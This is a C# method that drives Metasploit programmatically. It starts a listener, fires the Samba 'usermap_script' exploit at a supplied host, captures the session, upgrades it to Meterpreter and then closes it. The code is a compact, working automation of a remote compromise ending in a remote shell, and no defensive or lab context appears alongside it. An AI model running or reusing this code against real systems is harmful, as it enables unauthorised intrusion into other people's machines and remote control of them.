public async Task ExploitHost(string host) { await _metasploit.Login(); if (!_metasploit.IsAuthenticated()) { return; } const string exploit = "multi/samba/usermap_script"; _logger.LogTrace("Starting listener..."); var result = await _metasploit.MultiHandler(); await _metasploit.Exploit(exploit, host); _logger.LogTrace("Obtaining session..."); var sessionId = await _metasploit.ObtainSession(exploit, result.JobId); _logger.LogTrace("Upgrading session to Meterpreter..."); var meterpreterId = await _metasploit.ObtainMeterpreter(sessionId); await _metasploit.Meterpreter(meterpreterId); _logger.LogTrace("Closing session..."); await _metasploit.StopSession(sessionId); }